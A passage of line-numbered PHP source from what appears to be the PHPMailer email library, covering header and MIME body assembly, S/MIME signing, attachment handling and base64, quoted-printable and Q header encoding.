  3062. }
  3063. } else {
  3064. // No encoded character found
  3065. $foundSplitPos = true;
  3066. }
  3067. }
  3068. return $maxLength;
  3069. }
  3070.  
  3071. /**
  3072. * Set the body wrapping.
  3073. * @access public
  3074. * @return void
  3075. */
  3076. public function setWordWrap()
  3077. {
  3078. if ($this->WordWrap < 1) {
  3079. return;
  3080. }
  3081.  
  3082. switch ($this->message_type) {
  3083. case 'alt':
  3084. case 'alt_inline':
  3085. case 'alt_attach':
  3086. case 'alt_inline_attach':
  3087. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  3088. break;
  3089. default:
  3090. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  3091. break;
  3092. }
  3093. }
  3094.  
  3095. /**
  3096. * Assemble message headers.
  3097. * @access public
  3098. * @return string The assembled headers
  3099. */
  3100. public function createHeader()
  3101. {
  3102. $result = '';
  3103.  
  3104. // Set the boundaries
  3105. $uniq_id = md5(uniqid(time()));
  3106. $this->boundary[1] = 'b1_' . $uniq_id;
  3107. $this->boundary[2] = 'b2_' . $uniq_id;
  3108. $this->boundary[3] = 'b3_' . $uniq_id;
  3109.  
  3110. if ($this->MessageDate == '') {
  3111. $this->MessageDate = self::rfcDate();
  3112. }
  3113. $result .= $this->headerLine('Date', $this->MessageDate);
  3114.  
  3115.  
  3116. // To be created automatically by mail()
  3117. if ($this->SingleTo) {
  3118. if ($this->Mailer != 'mail') {
  3119. foreach ($this->to as $toaddr) {
  3120. $this->SingleToArray[] = $this->addrFormat($toaddr);
  3121. }
  3122. }
  3123. } else {
  3124. if (count($this->to) > 0) {
  3125. if ($this->Mailer != 'mail') {
  3126. $result .= $this->addrAppend('To', $this->to);
  3127. }
  3128. } elseif (count($this->cc) == 0) {
  3129. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  3130. }
  3131. }
  3132.  
  3133. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  3134.  
  3135. // sendmail and mail() extract Cc from the header before sending
  3136. if (count($this->cc) > 0) {
  3137. $result .= $this->addrAppend('Cc', $this->cc);
  3138. }
  3139.  
  3140. // sendmail and mail() extract Bcc from the header before sending
  3141. if ((
  3142. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  3143. )
  3144. and count($this->bcc) > 0
  3145. ) {
  3146. $result .= $this->addrAppend('Bcc', $this->bcc);
  3147. }
  3148.  
  3149. if (count($this->ReplyTo) > 0) {
  3150. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  3151. }
  3152.  
  3153. // mail() sets the subject itself
  3154. if ($this->Mailer != 'mail') {
  3155. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  3156. }
  3157.  
  3158. if ($this->MessageID != '') {
  3159. $this->lastMessageID = $this->MessageID;
  3160. } else {
  3161. $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  3162. }
  3163. $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  3164. $result .= $this->headerLine('X-Priority', $this->Priority);
  3165. if ($this->XMailer == '') {
  3166. $result .= $this->headerLine(
  3167. 'X-Mailer',
  3168. 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
  3169. );
  3170. } else {
  3171. $myXmailer = trim($this->XMailer);
  3172. if ($myXmailer) {
  3173. $result .= $this->headerLine('X-Mailer', $myXmailer);
  3174. }
  3175. }
  3176.  
  3177. if ($this->ConfirmReadingTo != '') {
  3178. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  3179. }
  3180.  
  3181. // Add custom headers
  3182. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  3183. $result .= $this->headerLine(
  3184. trim($this->CustomHeader[$index][0]),
  3185. $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  3186. );
  3187. }
  3188. if (!$this->sign_key_file) {
  3189. $result .= $this->headerLine('MIME-Version', '1.0');
  3190. $result .= $this->getMailMIME();
  3191. }
  3192.  
  3193. return $result;
  3194. }
  3195.  
  3196. /**
  3197. * Get the message MIME type headers.
  3198. * @access public
  3199. * @return string
  3200. */
  3201. public function getMailMIME()
  3202. {
  3203. $result = '';
  3204. $ismultipart = true;
  3205. switch ($this->message_type) {
  3206. case 'inline':
  3207. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  3208. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  3209. break;
  3210. case 'attach':
  3211. case 'inline_attach':
  3212. case 'alt_attach':
  3213. case 'alt_inline_attach':
  3214. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  3215. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  3216. break;
  3217. case 'alt':
  3218. case 'alt_inline':
  3219. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  3220. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  3221. break;
  3222. default:
  3223. // Catches case 'plain': and case '':
  3224. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  3225. $ismultipart = false;
  3226. break;
  3227. }
  3228. // RFC1341 part 5 says 7bit is assumed if not specified
  3229. if ($this->Encoding != '7bit') {
  3230. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  3231. if ($ismultipart) {
  3232. if ($this->Encoding == '8bit') {
  3233. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  3234. }
  3235. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  3236. } else {
  3237. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  3238. }
  3239. }
  3240.  
  3241. if ($this->Mailer != 'mail') {
  3242. $result .= $this->LE;
  3243. }
  3244.  
  3245. return $result;
  3246. }
  3247.  
  3248. /**
  3249. * Returns the whole MIME message.
  3250. * Includes complete headers and body.
  3251. * Only valid post preSend().
  3252. * @see PHPMailer::preSend()
  3253. * @access public
  3254. * @return string
  3255. */
  3256. public function getSentMIMEMessage()
  3257. {
  3258. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  3259. }
  3260.  
  3261.  
  3262. /**
  3263. * Assemble the message body.
  3264. * Returns an empty string on failure.
  3265. * @access public
  3266. * @throws phpmailerException
  3267. * @return string The assembled message body
  3268. */
  3269. public function createBody()
  3270. {
  3271. $body = '';
  3272.  
  3273. if ($this->sign_key_file) {
  3274. $body .= $this->getMailMIME() . $this->LE;
  3275. }
  3276.  
  3277. $this->setWordWrap();
  3278.  
  3279. $bodyEncoding = $this->Encoding;
  3280. $bodyCharSet = $this->CharSet;
  3281. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  3282. $bodyEncoding = '7bit';
  3283. $bodyCharSet = 'us-ascii';
  3284. }
  3285. $altBodyEncoding = $this->Encoding;
  3286. $altBodyCharSet = $this->CharSet;
  3287. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  3288. $altBodyEncoding = '7bit';
  3289. $altBodyCharSet = 'us-ascii';
  3290. }
  3291. switch ($this->message_type) {
  3292. case 'inline':
  3293. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  3294. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3295. $body .= $this->LE . $this->LE;
  3296. $body .= $this->attachAll('inline', $this->boundary[1]);
  3297. break;
  3298. case 'attach':
  3299. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  3300. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3301. $body .= $this->LE . $this->LE;
  3302. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3303. break;
  3304. case 'inline_attach':
  3305. $body .= $this->textLine('--' . $this->boundary[1]);
  3306. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  3307. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3308. $body .= $this->LE;
  3309. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  3310. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3311. $body .= $this->LE . $this->LE;
  3312. $body .= $this->attachAll('inline', $this->boundary[2]);
  3313. $body .= $this->LE;
  3314. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3315. break;
  3316. case 'alt':
  3317. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3318. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3319. $body .= $this->LE . $this->LE;
  3320. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  3321. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3322. $body .= $this->LE . $this->LE;
  3323. if (!empty($this->Ical)) {
  3324. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  3325. $body .= $this->encodeString($this->Ical, $this->Encoding);
  3326. $body .= $this->LE . $this->LE;
  3327. }
  3328. $body .= $this->endBoundary($this->boundary[1]);
  3329. break;
  3330. case 'alt_inline':
  3331. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3332. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3333. $body .= $this->LE . $this->LE;
  3334. $body .= $this->textLine('--' . $this->boundary[1]);
  3335. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  3336. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3337. $body .= $this->LE;
  3338. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  3339. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3340. $body .= $this->LE . $this->LE;
  3341. $body .= $this->attachAll('inline', $this->boundary[2]);
  3342. $body .= $this->LE;
  3343. $body .= $this->endBoundary($this->boundary[1]);
  3344. break;
  3345. case 'alt_attach':
  3346. $body .= $this->textLine('--' . $this->boundary[1]);
  3347. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  3348. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3349. $body .= $this->LE;
  3350. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3351. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3352. $body .= $this->LE . $this->LE;
  3353. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  3354. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3355. $body .= $this->LE . $this->LE;
  3356. $body .= $this->endBoundary($this->boundary[2]);
  3357. $body .= $this->LE;
  3358. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3359. break;
  3360. case 'alt_inline_attach':
  3361. $body .= $this->textLine('--' . $this->boundary[1]);
  3362. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  3363. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  3364. $body .= $this->LE;
  3365. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  3366. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  3367. $body .= $this->LE . $this->LE;
  3368. $body .= $this->textLine('--' . $this->boundary[2]);
  3369. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  3370. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  3371. $body .= $this->LE;
  3372. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  3373. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3374. $body .= $this->LE . $this->LE;
  3375. $body .= $this->attachAll('inline', $this->boundary[3]);
  3376. $body .= $this->LE;
  3377. $body .= $this->endBoundary($this->boundary[2]);
  3378. $body .= $this->LE;
  3379. $body .= $this->attachAll('attachment', $this->boundary[1]);
  3380. break;
  3381. default:
  3382. // catch case 'plain' and case ''
  3383. $body .= $this->encodeString($this->Body, $bodyEncoding);
  3384. break;
  3385. }
  3386.  
  3387. if ($this->isError()) {
  3388. $body = '';
  3389. } elseif ($this->sign_key_file) {
  3390. try {
  3391. if (!defined('PKCS7_TEXT')) {
  3392. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  3393. }
  3394. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  3395. $file = tempnam(sys_get_temp_dir(), 'mail');
  3396. if (false === file_put_contents($file, $body)) {
  3397. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  3398. }
  3399. $signed = tempnam(sys_get_temp_dir(), 'signed');
  3400. if (@openssl_pkcs7_sign(
  3401. $file,
  3402. $signed,
  3403. 'file://' . realpath($this->sign_cert_file),
  3404. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  3405. null
  3406. )
  3407. ) {
  3408. @unlink($file);
  3409. $body = file_get_contents($signed);
  3410. @unlink($signed);
  3411. } else {
  3412. @unlink($file);
  3413. @unlink($signed);
  3414. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  3415. }
  3416. } catch (phpmailerException $exc) {
  3417. $body = '';
  3418. if ($this->exceptions) {
  3419. throw $exc;
  3420. }
  3421. }
  3422. }
  3423. return $body;
  3424. }
  3425.  
  3426. /**
  3427. * Return the start of a message boundary.
  3428. * @access protected
  3429. * @param string $boundary
  3430. * @param string $charSet
  3431. * @param string $contentType
  3432. * @param string $encoding
  3433. * @return string
  3434. */
  3435. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  3436. {
  3437. $result = '';
  3438. if ($charSet == '') {
  3439. $charSet = $this->CharSet;
  3440. }
  3441. if ($contentType == '') {
  3442. $contentType = $this->ContentType;
  3443. }
  3444. if ($encoding == '') {
  3445. $encoding = $this->Encoding;
  3446. }
  3447. $result .= $this->textLine('--' . $boundary);
  3448. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  3449. $result .= $this->LE;
  3450. // RFC1341 part 5 says 7bit is assumed if not specified
  3451. if ($encoding != '7bit') {
  3452. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  3453. }
  3454. $result .= $this->LE;
  3455.  
  3456. return $result;
  3457. }
  3458.  
  3459. /**
  3460. * Return the end of a message boundary.
  3461. * @access protected
  3462. * @param string $boundary
  3463. * @return string
  3464. */
  3465. protected function endBoundary($boundary)
  3466. {
  3467. return $this->LE . '--' . $boundary . '--' . $this->LE;
  3468. }
  3469.  
  3470. /**
  3471. * Set the message type.
  3472. * PHPMailer only supports some preset message types,
  3473. * not arbitrary MIME structures.
  3474. * @access protected
  3475. * @return void
  3476. */
  3477. protected function setMessageType()
  3478. {
  3479. $type = array();
  3480. if ($this->alternativeExists()) {
  3481. $type[] = 'alt';
  3482. }
  3483. if ($this->inlineImageExists()) {
  3484. $type[] = 'inline';
  3485. }
  3486. if ($this->attachmentExists()) {
  3487. $type[] = 'attach';
  3488. }
  3489. $this->message_type = implode('_', $type);
  3490. if ($this->message_type == '') {
  3491. $this->message_type = 'plain';
  3492. }
  3493. }
  3494.  
  3495. /**
  3496. * Format a header line.
  3497. * @access public
  3498. * @param string $name
  3499. * @param string $value
  3500. * @return string
  3501. */
  3502. public function headerLine($name, $value)
  3503. {
  3504. return $name . ': ' . $value . $this->LE;
  3505. }
  3506.  
  3507. /**
  3508. * Return a formatted mail line.
  3509. * @access public
  3510. * @param string $value
  3511. * @return string
  3512. */
  3513. public function textLine($value)
  3514. {
  3515. return $value . $this->LE;
  3516. }
  3517.  
  3518. /**
  3519. * Add an attachment from a path on the filesystem.
  3520. * Returns false if the file could not be found or read.
  3521. * @param string $path Path to the attachment.
  3522. * @param string $name Overrides the attachment name.
  3523. * @param string $encoding File encoding (see $Encoding).
  3524. * @param string $type File extension (MIME) type.
  3525. * @param string $disposition Disposition to use
  3526. * @throws phpmailerException
  3527. * @return boolean
  3528. */
  3529. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  3530. {
  3531. try {
  3532. if (!@is_file($path)) {
  3533. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  3534. }
  3535.  
  3536. // If a MIME type is not specified, try to work it out from the file name
  3537. if ($type == '') {
  3538. $type = self::filenameToType($path);
  3539. }
  3540.  
  3541. $filename = basename($path);
  3542. if ($name == '') {
  3543. $name = $filename;
  3544. }
  3545.  
  3546. $this->attachment[] = array(
  3547. 0 => $path,
  3548. 1 => $filename,
  3549. 2 => $name,
  3550. 3 => $encoding,
  3551. 4 => $type,
  3552. 5 => false, // isStringAttachment
  3553. 6 => $disposition,
  3554. 7 => 0
  3555. );
  3556.  
  3557. } catch (phpmailerException $exc) {
  3558. $this->setError($exc->getMessage());
  3559. $this->edebug($exc->getMessage());
  3560. if ($this->exceptions) {
  3561. throw $exc;
  3562. }
  3563. return false;
  3564. }
  3565. return true;
  3566. }
  3567.  
  3568. /**
  3569. * Return the array of attachments.
  3570. * @return array
  3571. */
  3572. public function getAttachments()
  3573. {
  3574. return $this->attachment;
  3575. }
  3576.  
  3577. /**
  3578. * Attach all file, string, and binary attachments to the message.
  3579. * Returns an empty string on failure.
  3580. * @access protected
  3581. * @param string $disposition_type
  3582. * @param string $boundary
  3583. * @return string
  3584. */
  3585. protected function attachAll($disposition_type, $boundary)
  3586. {
  3587. // Return text of body
  3588. $mime = array();
  3589. $cidUniq = array();
  3590. $incl = array();
  3591.  
  3592. // Add all attachments
  3593. foreach ($this->attachment as $attachment) {
  3594. // Check if it is a valid disposition_filter
  3595. if ($attachment[6] == $disposition_type) {
  3596. // Check for string attachment
  3597. $string = '';
  3598. $path = '';
  3599. $bString = $attachment[5];
  3600. if ($bString) {
  3601. $string = $attachment[0];
  3602. } else {
  3603. $path = $attachment[0];
  3604. }
  3605.  
  3606. $inclhash = md5(serialize($attachment));
  3607. if (in_array($inclhash, $incl)) {
  3608. continue;
  3609. }
  3610. $incl[] = $inclhash;
  3611. $name = $attachment[2];
  3612. $encoding = $attachment[3];
  3613. $type = $attachment[4];
  3614. $disposition = $attachment[6];
  3615. $cid = $attachment[7];
  3616. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  3617. continue;
  3618. }
  3619. $cidUniq[$cid] = true;
  3620.  
  3621. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  3622. $mime[] = sprintf(
  3623. 'Content-Type: %s; name="%s"%s',
  3624. $type,
  3625. $this->encodeHeader($this->secureHeader($name)),
  3626. $this->LE
  3627. );
  3628. // RFC1341 part 5 says 7bit is assumed if not specified
  3629. if ($encoding != '7bit') {
  3630. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  3631. }
  3632.  
  3633. if ($disposition == 'inline') {
  3634. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  3635. }
  3636.  
  3637. // If a filename contains any of these chars, it should be quoted,
  3638. // but not otherwise: RFC2183 & RFC2045 5.1
  3639. // Fixes a warning in IETF's msglint MIME checker
  3640. // Allow for bypassing the Content-Disposition header totally
  3641. if (!(empty($disposition))) {
  3642. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  3643. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  3644. $mime[] = sprintf(
  3645. 'Content-Disposition: %s; filename="%s"%s',
  3646. $disposition,
  3647. $encoded_name,
  3648. $this->LE . $this->LE
  3649. );
  3650. } else {
  3651. $mime[] = sprintf(
  3652. 'Content-Disposition: %s; filename=%s%s',
  3653. $disposition,
  3654. $encoded_name,
  3655. $this->LE . $this->LE
  3656. );
  3657. }
  3658. } else {
  3659. $mime[] = $this->LE;
  3660. }
  3661.  
  3662. // Encode as string attachment
  3663. if ($bString) {
  3664. $mime[] = $this->encodeString($string, $encoding);
  3665. if ($this->isError()) {
  3666. return '';
  3667. }
  3668. $mime[] = $this->LE . $this->LE;
  3669. } else {
  3670. $mime[] = $this->encodeFile($path, $encoding);
  3671. if ($this->isError()) {
  3672. return '';
  3673. }
  3674. $mime[] = $this->LE . $this->LE;
  3675. }
  3676. }
  3677. }
  3678.  
  3679. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  3680.  
  3681. return implode('', $mime);
  3682. }
  3683.  
  3684. /**
  3685. * Encode a file attachment in requested format.
  3686. * Returns an empty string on failure.
  3687. * @param string $path The full path to the file
  3688. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  3689. * @throws phpmailerException
  3690. * @see EncodeFile(encodeFile
  3691. * @access protected
  3692. * @return string
  3693. */
  3694. protected function encodeFile($path, $encoding = 'base64')
  3695. {
  3696. try {
  3697. if (!is_readable($path)) {
  3698. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  3699. }
  3700. $magic_quotes = get_magic_quotes_runtime();
  3701. if ($magic_quotes) {
  3702. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  3703. set_magic_quotes_runtime(false);
  3704. } else {
  3705. //Doesn't exist in PHP 5.4, but we don't need to check because
  3706. //get_magic_quotes_runtime always returns false in 5.4+
  3707. //so it will never get here
  3708. ini_set('magic_quotes_runtime', 0);
  3709. }
  3710. }
  3711. $file_buffer = file_get_contents($path);
  3712. $file_buffer = $this->encodeString($file_buffer, $encoding);
  3713. if ($magic_quotes) {
  3714. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  3715. set_magic_quotes_runtime($magic_quotes);
  3716. } else {
  3717. ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  3718. }
  3719. }
  3720. return $file_buffer;
  3721. } catch (Exception $exc) {
  3722. $this->setError($exc->getMessage());
  3723. return '';
  3724. }
  3725. }
  3726.  
  3727. /**
  3728. * Encode a string in requested format.
  3729. * Returns an empty string on failure.
  3730. * @param string $str The text to encode
  3731. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  3732. * @access public
  3733. * @return string
  3734. */
  3735. public function encodeString($str, $encoding = 'base64')
  3736. {
  3737. $encoded = '';
  3738. switch (strtolower($encoding)) {
  3739. case 'base64':
  3740. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  3741. break;
  3742. case '7bit':
  3743. case '8bit':
  3744. $encoded = $this->fixEOL($str);
  3745. // Make sure it ends with a line break
  3746. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  3747. $encoded .= $this->LE;
  3748. }
  3749. break;
  3750. case 'binary':
  3751. $encoded = $str;
  3752. break;
  3753. case 'quoted-printable':
  3754. $encoded = $this->encodeQP($str);
  3755. break;
  3756. default:
  3757. $this->setError($this->lang('encoding') . $encoding);
  3758. break;
  3759. }
  3760. return $encoded;
  3761. }
  3762.  
  3763. /**
  3764. * Encode a header string optimally.
  3765. * Picks shortest of Q, B, quoted-printable or none.
  3766. * @access public
  3767. * @param string $str
  3768. * @param string $position
  3769. * @return string
  3770. */
  3771. public function encodeHeader($str, $position = 'text')
  3772. {
  3773. $matchcount = 0;
  3774. switch (strtolower($position)) {
  3775. case 'phrase':
  3776. if (!preg_match('/[\200-\377]/', $str)) {
  3777. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  3778. $encoded = addcslashes($str, "\0..\37\177\\\"");
  3779. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  3780. return ($encoded);
  3781. } else {
  3782. return ("\"$encoded\"");
  3783. }
  3784. }
  3785. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  3786. break;
  3787. /** @noinspection PhpMissingBreakStatementInspection */
  3788. case 'comment':
  3789. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  3790. // Intentional fall-through
  3791. case 'text':
  3792. default:
  3793. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  3794. break;
  3795. }
  3796.  
  3797. if ($matchcount == 0) { // There are no chars that need encoding
  3798. return ($str);
  3799. }
  3800.  
  3801. $maxlen = 75 - 7 - strlen($this->CharSet);
  3802. // Try to select the encoding which should produce the shortest output
  3803. if ($matchcount > strlen($str) / 3) {
  3804. // More than a third of the content will need encoding, so B encoding will be most efficient
  3805. $encoding = 'B';
  3806. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  3807. // Use a custom function which correctly encodes and wraps long
  3808. // multibyte strings without breaking lines within a character
  3809. $encoded = $this->base64EncodeWrapMB($str, "\n");
  3810. } else {
  3811. $encoded = base64_encode($str);
  3812. $maxlen -= $maxlen % 4;
  3813. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  3814. }
  3815. } else {
  3816. $encoding = 'Q';
  3817. $encoded = $this->encodeQ($str, $position);
  3818. $encoded = $this->wrapText($encoded, $maxlen, true);
  3819. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  3820. }
  3821.  
  3822. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  3823. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  3824.  
  3825. return $encoded;
  3826. }
  3827.  
  3828. /**
  3829. * Check if a string contains multi-byte characters.
  3830. * @access public
  3831. * @param string $str multi-byte text to wrap encode
  3832. * @return boolean
  3833. */
  3834. public function hasMultiBytes($str)
  3835. {
  3836. if (function_exists('mb_strlen')) {
  3837. return (strlen($str) > mb_strlen($str, $this->CharSet));
  3838. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  3839. return false;
  3840. }
  3841. }
  3842.  
  3843. /**
  3844. * Does a string contain any 8-bit chars (in any charset)?
  3845. * @param string $text
  3846. * @return boolean
  3847. */
  3848. public function has8bitChars($text)
  3849. {
  3850. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  3851. }
  3852.  
  3853. /**
  3854. * Encode and wrap long multibyte strings for mail headers
  3855. * without breaking lines within a character.
  3856. * Adapted from a function by paravoid
  3857. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  3858. * @access public
  3859. * @param string $str multi-byte text to wrap encode
  3860. * @param string $linebreak string to use as linefeed/end-of-line
  3861. * @return string
  3862. */
  3863. public function base64EncodeWrapMB($str, $linebreak = null)
  3864. {
  3865. $start = '=?' . $this->CharSet . '?B?';
  3866. $end = '?=';
  3867. $encoded = '';
  3868. if ($linebreak === null) {
  3869. $linebreak = $this->LE;
  3870. }
  3871.  
  3872. $mb_length = mb_strlen($str, $this->CharSet);
  3873. // Each line must have length <= 75, including $start and $end
  3874. $length = 75 - strlen($start) - strlen($end);
  3875. // Average multi-byte ratio
  3876. $ratio = $mb_length / strlen($str);
  3877. // Base64 has a 4:3 ratio
  3878. $avgLength = floor($length * $ratio * .75);
  3879.  
  3880. for ($i = 0; $i < $mb_length; $i += $offset) {
  3881. $lookBack = 0;
  3882. do {
  3883. $offset = $avgLength - $lookBack;
  3884. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  3885. $chunk = base64_encode($chunk);
  3886. $lookBack++;
  3887. } while (strlen($chunk) > $length);
  3888. $encoded .= $chunk . $linebreak;
  3889. }
  3890.  
  3891. // Chomp the last linefeed
  3892. $encoded = substr($encoded, 0, -strlen($linebreak));
  3893. return $encoded;
  3894. }
  3895.  
  3896. /**
  3897. * Encode a string in quoted-printable format.
  3898. * According to RFC2045 section 6.7.
  3899. * @access public
  3900. * @param string $string The text to encode
  3901. * @param integer $line_max Number of chars allowed on a line before wrapping
  3902. * @return string
  3903. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  3904. */
  3905. public function encodeQP($string, $line_max = 76)
  3906. {
  3907. if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  3908. return $this->fixEOL(quoted_printable_encode($string));
  3909. }
  3910. // Fall back to a pure PHP implementation
  3911. $string = str_replace(
  3912. array('%20', '%0D%0A.', '%0D%0A', '%'),
  3913. array(' ', "\r\n=2E", "\r\n", '='),
  3914. rawurlencode($string)
  3915. );
  3916. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  3917. return $this->fixEOL($string);
  3918. }
  3919.  
  3920. /**
  3921. * Backward compatibility wrapper for an old QP encoding function that was removed.
  3922. * @see PHPMailer::encodeQP()
  3923. * @access public
  3924. * @param string $string
  3925. * @param integer $line_max
  3926. * @param boolean $space_conv
  3927. * @return string
  3928. * @deprecated Use encodeQP instead.
  3929. */
  3930. public function encodeQPphp(
  3931. $string,
  3932. $line_max = 76,
  3933. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  3934. ) {
  3935. return $this->encodeQP($string, $line_max);
  3936. }
  3937.  
  3938. /**
  3939. * Encode a string using Q encoding.
  3940. * @link http://tools.ietf.org/html/rfc2047
  3941. * @param string $str the text to encode
  3942. * @param string $position Where the text is going to be used, see the RFC for what that means
  3943. * @access public
  3944. * @return string
  3945. */
  3946. public function encodeQ($str, $position = 'text')
  3947. {
  3948. // There should not be any EOL in the string
  3949. $pattern = '';
  3950. $encoded = str_replace(array("\r", "\n"), '', $str);
  3951. switch (strtolower($position)) {
  3952. case 'phrase':
  3953. // RFC 2047 section 5.3
  3954. $pattern = '^A-Za-z0-9!*+\/ -';
  3955. break;
  3956. /** @noinspection PhpMissingBreakStatementInspection */
  3957. case 'comment':
  3958. // RFC 2047 section 5.2
  3959. $pattern = '\(\)"';
  3960. // intentional fall-through
  3961. // for this reason we build the $pattern without including delimiters and []
  3962. case 'text':
  3963. default:
  3964. // RFC 2047 section 5.1
  3965. // Replace every high ascii, control, =, ? and _ characters
  3966. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  3967. break;
  3968. }
